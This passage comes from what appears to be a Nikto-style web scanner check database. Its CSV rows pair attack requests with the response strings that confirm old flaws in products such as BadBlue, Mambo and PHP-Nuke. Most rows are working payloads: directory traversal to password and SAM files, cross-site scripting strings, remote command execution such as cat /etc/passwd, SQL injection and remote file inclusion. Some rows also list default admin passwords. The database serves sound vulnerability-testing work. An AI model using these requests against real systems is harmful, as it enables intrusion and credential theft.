  620. "generic","/?sql_debug=1","SQL query: ","GET","The PHP-Nuke install may allow attackers to enable debug mode and disclose sensitive information by adding sql_debug=1 to the query string."
  621. "generic","/................../etc/passwd","root:","GET","The web server allows the password file to be retrieved."
  622. "generic","/.../.../.../.../.../.../.../.../.../.../etc/passwd","root:","GET","TelCondex SimpleWebserver 2.13.31027 and below allows directory traversal."
  623. "generic","/.../.../.../.../.../.../.../.../.../boot.ini","boot loader","GET","Software allows files to be retrieved outside of the web root by using 'triple dot' notation. May be MiniPortal?"
  624. "generic","/../../../../../../../../../../etc/passwd","root:","GET","It is possible to read files on the server by adding ../ in front of file name."
  625. "generic","/../config.dat","EnablePasswords","GET","Directory traversal and config.dat suggests NetServe web server and default admin folder. This file contains the administrative login/pass."
  626. "generic","/../webserver.ini","Authentic","GET","Nuca WebServer allows retrieval of the web server configuration."
  627. "generic","/..\..\..\..\..\..\temp\temp.class","200","GET","Cisco ACS 2.6.x and 3.0.1 (build 40) allows authenticated remote users to retrieve any file from the system. Upgrade to the latest version."
  628. "generic","/..%252f..%252f..%252f..%252f..%252f../windows/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  629. "generic","/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam._","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  630. "generic","/..%252f..%252f..%252f..%252f..%252f../winnt/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  631. "generic","/..%255c..%255c..%255c..%255c..%255c../windows/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  632. "generic","/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam._","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  633. "generic","/..%255c..%255c..%255c..%255c..%255c../winnt/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  634. "generic","/..%2F..%2F..%2F..%2F..%2F../windows/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  635. "generic","/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam._","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  636. "generic","/..%2F..%2F..%2F..%2F..%2F../winnt/repair/sam","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  637. "generic","/./","include\(\"","GET","Appending '/./' to a directory may reveal php source code."
  638. "generic","/.%252e/.%252e/.%252e/winnt/boot.ini","boot loader","GET","JWalk Web server allows any file to be retrieved from the remote system."
  639. "generic","/.access","200","GET","Contains authorization information"
  640. "generic","/.addressbook","200","GET","PINE addressbook, may store sensitive e-mail address contact information and notes"
  641. "generic","/.bash_history","200","GET","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web."
  642. "generic","/.bashrc","200","GET","User home dir was found with a shell rc file. This may reveal file and path information."
  643. "generic","/.cobalt/sysManage/../admin/.htaccess","AuthName","GET","Cobalt RaQ 4 server manager allows any files to be retrieved by using the path through the .cobalt directory."
  644. "generic","/.forward","200","GET","User home dir was found with a mail forward file. May reveal where the user's mail is being forwarded to."
  645. "generic","/.history","200","GET","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web."
  646. "generic","/.htaccess","200","GET","Contains authorization information"
  647. "generic","/.htpasswd","200","GET","Contains authorization information"
  648. "generic","/.lynx_cookies","200","GET","User home dir found with LYNX cookie file. May reveal cookies received from arbitrary web sites."
  649. "generic","/.mysql_history","200","GET","Database SQL?"
  650. "generic","/.passwd","200","GET","Contains authorization information"
  651. "generic","/.pinerc","200","GET","User home dir found with a PINE rc file. May reveal system information, directories and more."
  652. "generic","/.plan","200","GET","User home dir with a .plan, a now mostly outdated file for delivering information via the finger protocol "
  653. "generic","/.proclog","200","GET","User home dir with a Procmail log file. May reveal user mail traffic, directories and more."
  654. "generic","/.procmailrc","200","GET","User home dir with a Procmail rc file. May reveal sub directories, mail contacts and more."
  655. "generic","/.profile","200","GET","User home dir with a shell profile was found. May reveal directory information and system configuration."
  656. "generic","/.rhosts","200","GET","A user's home directory may be set to the web root, a .rhosts file was retrieved. This should not be accessible via the web."
  657. "generic","/.sh_history","200","GET","A user's home directory may be set to the web root, the shell history was retrieved. This should not be accessible via the web."
  658. "generic","/.ssh","200","GET","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web."
  659. "generic","/.ssh/authorized_keys","200","GET","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web."
  660. "generic","/.ssh/known_hosts","200","GET","A user's home directory may be set to the web root, an ssh file was retrieved. This should not be accessible via the web."
  661. "generic","/","PeopleSoft, Inc","GET","PeopleSoft appears to be running."
  662. "generic","/","samba is configured to deny","GET","Samba-swat web server. Used to administer Samba."
  663. "generic","/","TRACE / HTTP/1.","TRACE","TRACE option appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details"
  664. "generic","/","TRACK / HTTP/1.","TRACK","TRACK option ('TRACE' alias) appears to allow XSS or credential theft. See http://www.cgisecurity.com/whitehat-mirror/WhitePaper_screen.pdf for details"
  665. "generic","/[SecCheck]/..%252f..%252f../ext.ini","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  666. "generic","/[SecCheck]/..%255c..%255c../ext.ini","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  667. "generic","/[SecCheck]/..%2f../ext.ini","200","GET","BadBlue server is vulnerable to multiple remote exploits. See http://www.securiteam.com/exploits/5HP0M2A60G.html for more information."
  668. "generic","////./../.../boot.ini","boot loader","GET","Server is vulnerable to directory traversal, this may be Lidik Webserver 0.7b from lysias.de. See http://www.it-checkpoint.net/advisory/14.html for details."
  669. "generic","///etc/hosts","200","GET","The server install allows reading of any system file by adding an extra '/' to the URL."
  670. "generic","///etc/passwd","root:","GET","The server install allows reading of any system file by adding an extra '/' to the URL."
  671. "generic","//admin/admin.shtml","200","GET","Axis network camera may allow admin bypass by using double-slashes before URLs."
  672. "generic","//admin/aindex.htm","200","GET","FlexWATCH firmware 2.2 is vulnerable to authentication bypass by prepending an extra '/'. http://packetstorm.linuxsecurity.com/0310-exploits/FlexWATCH.txt"
  673. "generic","//comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
  674. "generic","//profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","GeekLog 1.3.7 allows Cross Site Scripting (XSS). CA-2000-02."
  675. "generic","/<script>alert('Vulnerable');</script>","<script>alert('Vulnerable')</script>","GET","Server is vulnerable to cross site scripting (XSS) with HTML-encoded requests. CA-2000-02."
  676. "generic","/%00","File Name","GET","Appending /%00 to a request to the web server may reveal a directory listing."
  677. "generic","/%00/","Directory listing of","GET","Remote directories can be retrieved, (this may be a Roxen server), upgrade the server."
  678. "generic","/%0a%0a<script>alert(\"Vulnerable\")</script>.jsp","<script>alert(\"Vulnerable\")</script>","GET","Jetty jsp servlet engine is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  679. "generic","/%22%3cscript%3ealert(%22xss%22)%3c/script%3e","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server."
  680. "generic","/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd","root:","GET","Web server allows reading of files by sending encoded '../' requests. This server may be Boa (boa.org)."
  681. "generic","/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini","[windows]","GET","Attackers can read any file on the system. Upgrade to Analogx 1.07 or higher."
  682. "generic","/%3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server."
  683. "generic","/%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 301 error messages. This may be Falcon web server."
  684. "generic","/%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html","<script>alert('Vulnerable')</script>","GET","Server allows Cross Site Scripting (XSS) in 404 error messages if the code is in a directory. This may be Falcon web server."
  685. "generic","/%3f.jsp","Directory Listing","GET","JRun 3.0 and 3.1 on NT/2000 running IIS4 or IIS5 allow directory listing by requesting %3f.jsp at the end of a URL."
  686. "generic","/%3f.jsp","Index of","GET","JRun 3.0 and 3.1 on NT/2000 running IIS4 or IIS5 allow directory listing by requesting %3f.jsp at the end of a URL."
  687. "generic","/%3f.jsp","WEB-INF","GET","WebTide allows directory listings by appending %3f.jsp. Upgrade to 7.05 or higher."
  688. "generic","/%3f.jsp","WebTide","GET","WebTide allows directory listings by appending %3f.jsp. Upgrade to 7.05 or higher."
  689. "generic","/<script>alert('Vulnerable')</script>.aspx","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02."
  690. "generic","/<script>alert('Vulnerable')</script>.jsp","<script>alert('Vulnerable')</script>.jsp","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  691. "generic","/<script>alert('Vulnerable')</script>.shtml","<script>alert('Vulnerable')</script>.shtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  692. "generic","/<script>alert('Vulnerable')</script>.thtml","<script>alert('Vulnerable')</script>.thtml","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  693. "generic","/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  694. "generic","/~/<script>alert('Vulnerable')</script>.asp","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .asp file requests (may be Microsoft .net). CA-2000-02"
  695. "generic","/~/<script>alert('Vulnerable')</script>.aspx?aspxerrorpath=null","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02"
  696. "generic","/~/<script>alert('Vulnerable')</script>.aspx","<script>alert('Vulnerable')</script>","GET","Cross site scripting (XSS) is allowed with .aspx file requests (may be Microsoft .net). CA-2000-02"
  697. "generic","/~root/","200","GET","Allowed to browse root's home directory"
  698. "generic","/a_security.htm","name=\"viewingpasswrd\" value=","GET","Polycom ViewStation FX Release v4.2 reveals the admin password in the change password form's HTML."
  699. "generic","/a?<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Server is vulnerable to Cross Site Scripting (XSS) in the error message if code is passed in the query-string. This may be a Null HTTPd server."
  700. "generic","/a.jsp/<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","JServ is vulnerable to Cross Site Scripting (XSS) when a non-existent JSP file is requested. Upgrade to the latest version of JServ. CA-2000-02."
  701. "generic","/a/","200","GET","May be Kebi Web Mail administration menu."
  702. "generic","/a%5c.aspx","Invalid file name for monitoring:","GET","Older Microsoft .NET installations allow full path disclosure."
  703. "generic","/acart2_0/acart2_0.mdb","200","GET","Alan Ward A-Cart 2.0 allows remote user to read customer database file which may contain usernames, passwords, credit cards and more."
  704. "generic","/acart2_0/admin/category.asp","200","GET","Alan Ward A-Cart 2.0 is vulnerable to an XSS attack which may cause the administrator to delete database information."
  705. "generic","/acart2_0/admin/error.asp?msg=<script>alert(\"test\")</script>","<script>alert(\"test\")</script>","GET","Alan Ward A-Cart 2.0 contains several XSS vulnerabilities"
  706. "generic","/acart2_0/admin/index.asp?msg=<script>alert(\"test\")</script>","<script>alert(\"test\")</script>","GET","Alan Ward A-Cart 2.0 contains several XSS vulnerabilities"
  707. "generic","/acart2_0/deliver.asp?msg=<script>alert(\"test\")</script>","<script>alert(\"test\")</script>","GET","Alan Ward A-Cart 2.0 contains several XSS vulnerabilities"
  708. "generic","/acart2_0/error.asp?msg=<script>alert(\"test\")</script>","<script>alert(\"test\")</script>","GET","Alan Ward A-Cart 2.0 contains several XSS vulnerabilities"
  709. "generic","/acart2_0/signin.asp?msg=<script>alert(\"test\")</script>","<script>alert(\"test\")</script>","GET","Alan Ward A-Cart 2.0 contains several XSS vulnerabilities"
  710. "generic","/accounts/getuserdesc.asp","200","GET","Hosting Controller 2002 administration page is available. This should be protected."
  711. "generic","/achievo//atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://xxxxxxxxxx/","http://xxxxxxxxxx/atk/","GET","Achievo can be made to include php files from another domain. Upgrade to a new version."
  712. "generic","/active.log","WEBactive Http Server","GET","The WebActive log is accessible remotely."
  713. "generic","/add_user.php","output started at /","GET","DCP-Portal reveals system path. Upgrade to a version higher than 4.2. This version is also vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  714. "generic","/add.php","Failed opening '","GET","Ultimate PHP Board (UPB) final beta 1.0 reveals file system paths in add.php error messages."
  715. "generic","/add.php3?url=ja&adurl=javascript:<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","AdManager 1.1 http://www.sugarfreenet.com/ is vulnerable to Cross Site Scripting (XSS). CA-2000-02."," "
  716. "generic","/addressbook.php?\"><script>alert(Vulnerable)</script><!--","<script>alert(Vulnerable)</script>","GET","Squirrel Mail 1.2.7 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  717. "generic","/addressbook/index.php?name=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Phpgroupware 0.9.14.003 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  718. "generic","/addressbook/index.php?surname=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Phpgroupware 0.9.14.003 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  719. "generic","/addyoursite.php?catid=<Script>JavaScript:alert('Vulnerable');</Script>","<script>alert('Vulnerable')</script>","GET","phpLinkat is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  720. "generic","/Admin_files/order.log","200","GET","Selena Sol's WebStore 1.0 exposes order information, http://www.extropia.com/, http://www.mindsec.com/advisories/post2.txt."
  721. "generic","/admin.html","MySimpleNews - Administration","GET","MySimpleNews contains the admin password in the login page HTML."," "
  722. "generic","/admin.php?en_log_id=0&action=config","200","GET","EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This php file should be protected."
  723. "generic","/admin.php?en_log_id=0&action=users","200","GET","EasyNews from http://www.webrc.ca version 4.3 allows remote admin access. This php file should be protected."
  724. "generic","/admin.php4?reg_login=1","200","GET","Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected."
  725. "generic","/Admin/","CobaltServer","GET","The web server is the CobaltRaq administrator. If password protection is broken, attackers will have access to admin your server. Use tcpwrappers or shut this down for safety."
  726. "generic","/admin/admin_phpinfo.php4","200","GET","Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected."
  727. "generic","/admin/admin.php?adminpy=1","200","GET","PY-Membres 4.2 may allow administrator access."
  728. "generic","/admin/browse.asp?FilePath=c:\&Opt=2&level=0","winnt","GET","Hosting Controller from hostingcontroller.com allows any file on the system to be read remotely."
  729. "generic","/admin/contextAdmin/contextAdmin.html","200","GET","Tomcat may be configured to let attackers read arbitrary files. Restrict access to /admin."
  730. "generic","/admin/cplogfile.log","200","GET","DevBB 1.0 final (http://www.mybboard.com)  log file is readable remotely. Upgrade to the latest version."
  731. "generic","/admin/database/wwForum.mdb","200","GET","Web Wiz Forums pre 7.5 is vulnerable to Cross-Site Scripting attacks. Default login/pass is Administrator/letmein"
  732. "generic","/admin/db.php?dump_sql=1","pass!Authorization Required","GET","e107 allows a dump of the MySQL database without authentication."
  733. "generic","/admin/db.php","e107 sql-dump","POST","The e107 management system allows the remote SQL database to be dumped to the user, and it may contained hashed passwords. BID-8273.","dump_sql=foo"
  734. "generic","/admin/exec.php3?cmd=cat%20/etc/passwd","root:","GET","DotBr 0.1 allows remote command execution."
  735. "generic","/admin/exec.php3?cmd=dir%20c:\\","boot.ini","GET","DotBr 0.1 allows remote command execution."
  736. "generic","/admin/login.php?action=insert&username=test&password=test","200","GET","phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify."
  737. "generic","/admin/login.php?path=\"></form><form name=a><input name=i value=XSS><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","mcNews 1.1a from phpforums.net is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  738. "generic","/admin/phpinfo.php","200","GET","Immobilier or phPay allows phpinfo() to be run. See http://www.frog-man.org/tutos/Immoblier.txt or http://phpay.sourceforge.net/"
  739. "generic","/admin/system_footer.php","200","GET","myphpnuke version 1.8.8_final_7 reveals detailed system information."
  740. "generic","/admin/system.php3?cmd=cat%20/etc/passwd","root:","GET","DotBr 0.1 allows remote command execution."
  741. "generic","/admin/system.php3?cmd=dir%20c:\\","boot.ini","GET","DotBr 0.1 allows remote command execution."
  742. "generic","/admin/wg_user-info.ml","200","GET","WebGate Web Eye exposes user names and passwords. OSVDB-2922"
  743. "generic","/administrator/gallery/gallery.php?directory=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  744. "generic","/administrator/gallery/navigation.php?directory=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  745. "generic","/administrator/gallery/uploadimage.php?directory=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  746. "generic","/administrator/gallery/uploadimage.php","200","GET","Mambo PHP Portal/Server 4.0.12 BETA and below may allow upload of any file type simply putting '.jpg' before the real file extension."
  747. "generic","/administrator/gallery/view.php?path=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  748. "generic","/administrator/popups/sectionswindow.php?type=web&link=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  749. "generic","/administrator/upload.php?newbanner=1&choice=\"<script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","Mambo PHP Portal/Server is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  750. "generic","/agentadmin.php","200","GET","Immobilier may allow php files to be included from remote sites. See http://www.frog-man.org/tutos/Immoblier.txt"
  751. "generic","/akopia/","200","GET","Akopia is installed."
  752. "generic","/aktivate/cgi-bin/catgy.cgi?key=0&cartname=axa200135022551089&desc=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Aktivate Shopping Cart 1.03 and lower are vulnerable to Cross Site Scripting (XSS). http://www.allen0keul.com/aktivate/ CAN-2001-1212, CA-2000-02."
  753. "generic","/albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd","root:","GET","Coppermine 1.0 RC3 may have been compromised to allow arbitrary file retreival. Upgrade to the latest at http://www.chezgreg.net/coppermine/"
  754. "generic","/amber_csh.html","200","GET","Has been seen in web logs from an unknown scanner."
  755. "generic","/ammerum/","200","GET","Ammerum pre 0.6-1 had several security issues."
  756. "generic","/ans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely.  http://ans.gq.nu/ default admin string 'admin:aaLR8vE.jjhss:root@127.0.0.1', password file location 'ans_data/ans.passwd'"
  757. "generic","/ans/ans.pl?p=../../../../../usr/bin/id|&blah","uid","GET","Avenger's News System allows commands to be issued remotely."
  758. "generic","/anthill/login.php","200","GET","Anthill bug tracking system may be installed. Versions lower than 0.1.6.1 allow XSS/HTML injection and may allow users to bypass login requirements. http://anthill.vmlinuz.ca/ and CA-2000-02"
  759. "generic","/antispam/listdel?file=blacklist&name=b<script>alert('Vulnerable')</script>&startline=0","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  760. "generic","/antispam/listdel?file=whitelist&name=a<script>alert('Vulnerable')</script>&startline=0(naturally)","<script>alert('Vulnerable')</script>","GET","Fortigate firewall 2.50 and prior contains several CSS vulnerabilities in various administrative pages."
  761. "generic","/apps/web/vs_diag.cgi?server=<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Zeus 4.2r2 (webadmin-4.2r2) is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  762. "generic","/ariadne/","200","GET","Ariadne pre 2.1.2 has several vulnerabilities. The default login/pass to the admin page is admin/muze."
  763. "generic","/article.cfm?id=1'<script>alert(document.cookie);</script>","[SQL SERVER] Error Code","GET","Coldfusion may reveal SQL information in malformed requests."
  764. "generic","/article.cfm?id=1'<script>alert(document.cookie);</script>","<script>alert(document.cookie);</script>","GET","With malformed URLS, Coldfusion is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  765. "generic","/article.php?article=4965&post=1111111111","Unable to jump to row","GET","PHP FirstPost can reveal MySQL errors and file system paths if invalid posts are sent."
  766. "generic","/article.php?sid=\"><Img Src=javascript:alert('Vulnerable')><Img Src=\"","<script>alert('Vulnerable')</script>","GET","phpWebSite 0.8.3 is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  767. "generic","/ASP/cart/database/metacart.mdb","200","GET","MetaCart2 is an ASP shopping cart. The database of customers is available via the web."," "
  768. "generic","/athenareg.php?pass=%20;cat%20/etc/passwd","root:","GET","Athena web registration remote command execution. BID-9349"
  769. "generic","/atomicboard/index.php?location=../../../../../../../../../../etc/passwd","root:","GET","AtomicBoard v0.6.2 allows remote users to read arbitrary files."
  770. "generic","/author.asp","200","GET","May be FactoSystem CMS, which could include SQL injection problems which could not be tested remotely."
  771. "generic","/autohtml.php?op=modload&mainfile=x&name=/etc/passwd","root:","GET","php-proxima 6.0 and below allows arbitrary files to be retrieved."
  772. "generic","/autologon.html?10514","200","GET","Remotely Anywhere 5.10.415 is vulnerable to CSS attacks that can lead to cookie theft or privilege escalation. This is typically found on port 2000."
  773. "generic","/axis-cgi/buffer/command.cgi","200","GET","Axis WebCam 2400 may allow overwriting or creating files on the system. See http://www.websec.org/adv/axis2400.txt.html for details."
  774. "generic","/b2-include/b2edit.showposts.php","200","GET","Some versions of B2 (cafelog.com) are vulnerable to remote inclusion by redefining $b2inc to a remote php file. Upgrade to a version higher than b2.06pre2. This vulnerability could not be confirmed."
  775. "generic","/BACLIENT","200","GET","IBM Tivoli default file found. OSVDB-2117."
  776. "generic","/ban.bak","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
  777. "generic","/ban.dat","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
  778. "generic","/ban.log","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
  779. "generic","/banmat.pwd","200","GET","Bannermatic versions 1-3 reveal sensitive information from unprotected files. These files should be protected."
  780. "generic","/banners.php?op=EmailStats&cid=1%20AND%20passwd%20LIKE%20'a%'/*","Statistics for your banner","GET","Xoops 1.3.x, 2.0.x thru 2.0.5 are vulnerable to SQL injection in the banners.php file. Upgrade to 2.0.5.1 or higher."
  781. "generic","/base/webmail/readmsg.php?mailbox=../../../../../../../../../../../../../../etc/passwd&id=1","root:","GET","Remote file retrieval."
  782. "generic","/basilix.php3?request_id[DUMMY]=../../../../etc/passwd&RequestID=DUMMY&username=sec&password=secu","root:","GET","Remote file retrieval."
  783. "generic","/basilix/","200","GET","BasiliX webmail application. Default mysql database name is 'BASILIX' with password 'bsxpass'"
  784. "generic","/basilix/compose-attach.php3","200","GET","BasiliX webmail application prior to 1.1.1 contains non descript security vulnerability in compose-attach.php3 related to attachment uploads"
  785. "generic","/basilix/mbox-list.php3","200","GET","BasiliX webmail application prior to 1.1.1 contains a CSS issue in 'message list' function/page"
  786. "generic","/basilix/message-read.php3","200","GET","BasiliX webmail application prior to 1.1.1 contains a CSS issue in 'read message' function/page"
  787. "generic","/bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK","root:","GET","The PHPNuke admin.php is vulnerable to a remote file retrieval vul. It should be upgraded to the latest version. CAN-2001-0320."
  788. "generic","/bb-dnbd/faxsurvey","200","GET","This may allow arbitrary command execution."
  789. "generic","/bb000001.pl<script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  790. "generic","/bc4j.html","Business Components","GET","Default Oracle page, may allow limited administration."
  791. "generic","/bigconf.cgi","200","GET","BigIP Configuration CGI"
  792. "generic","/billing/billing.apw","PASS BOX CAPTION:","GET","CoffeeCup password wizzard allows password files to be read remotely."
  793. "generic","/blah_badfile.shtml","200","GET","Allaire Coldfusion allows jsp source viewed through a vulnerable SSI call.","<!--#include virtual=\"/index.jsp\"-->"
  794. "generic","/blah-whatever-badfile.jsp","Script /","GET","The web server is configured to respond with the web server path when requesting a non-existent .jsp file."
  795. "generic","/blah123.php","Failed opening ","GET","PHP is configured to give descriptive error messages which can reveal file system paths."
  796. "generic","/bottom.html","Topaz Prism","GET","Topaz Prism appears to be running, try login with admin/admin."
  797. "generic","/buddies.blt","200","GET","Buddy List?"
  798. "generic","/buddy.blt","200","GET","Buddy List?"
  799. "generic","/buddylist.blt","200","GET","Buddy List?"
  800. "generic","/bugs/forgot_password.php?email=\"><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","MySQL Eventum is vulnerable to XSS. OSVDB-12607."
  801. "generic","/bugs/index.php?err=3&email=\"><script>alert(document.cookie)</script>","<script>alert(document.cookie)</script>","GET","MySQL Eventum is vulnerable to XSS. OSVDB-12606."
  802. "generic","/bytehoard/index.php?infolder=../../../../../../../../../../../etc/","passwd","GET","ByteHoard 0.7 is vulnerable to a directory traversal attack. Upgrade to version 0.71 or higher."
  803. "generic","/c32web.exe/ChangeAdminPassword","200","GET","This CGI may contain a backdoor and may allow attackers to change the Cart32 admin password."
  804. "generic","/ca/..\\..\\..\\..\\..\\..\\..\\..\\winnt/\\win.ini","[fonts]","GET","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name. CAN-2000-1076"
  805. "generic","/ca/..\\..\\..\\..\\..\\..\\/\\etc/\\passwd","root:","GET","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name. CAN-2000-1076"
  806. "generic","/ca//\\../\\../\\../\\../\\../\\../\\windows/\\win.ini","[windows]","GET","It is possible to read files on the server by adding through directory traversal by adding multiple /\\.. in front of file name. CAN-2000-1076"
  807. "generic","/ca000001.pl?ACTION=SHOWCART&hop=\"><script>alert('Vulnerable')</script>&PATH=acatalog%2f","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  808. "generic","/ca000007.pl?ACTION=SHOWCART&REFPAGE=\"><script>alert('Vulnerable')</script>","<script>alert('Vulnerable')</script>","GET","Actinic E-Commerce services is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  809. "generic","/calendar.php?year=<script>alert(document.cookie);</script>&month=03&day=05","<script>alert(document.cookie);</script>","GET","DCP-Portal v5.3.1 is vulnerable to  Cross Site Scripting (XSS). CA-2000-02."
  810. "generic","/cartcart.cgi","200","GET","If this is Dansie shopping cart 3.0.8 or earlier, it contains a backdoor to allow attackers to execute arbitrary commands."
  811. "generic","/catalog/includes/include_once.php","200","GET","This phpWebSite script may allow inclusion of remote scripts by adding ?inc_prefix=http://YOURHOST/"
  812. "generic","/categorie.php3?cid=june","Unable to jump to row","GET","Black Tie Project (BTP) can reveal MySQL errors and file system paths if an invalid cid is sent."
  813. "generic","/catinfo?<u><b>TESTING","<u><b>TESTING","GET","The Interscan Viruswall catinfo script is vulnerable to Cross Site Scripting (XSS). CA-2000-02."
  814. "generic","/catinfo","200","GET","May be vulnerable to a buffer overflow. Request '/catinfo?' and add on 2048 of garbage to test."
  815. "generic","/cbms/cbmsfoot.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
  816. "generic","/cbms/changepass.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
  817. "generic","/cbms/editclient.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
  818. "generic","/cbms/passgen.php","200","GET","CBMS Billing Management has had many vulnerabilities in versions 0.7.1 and below. none could be confirmed here, but they should be manually checked if possible. http://freshmeat.net/projects/cbms/"
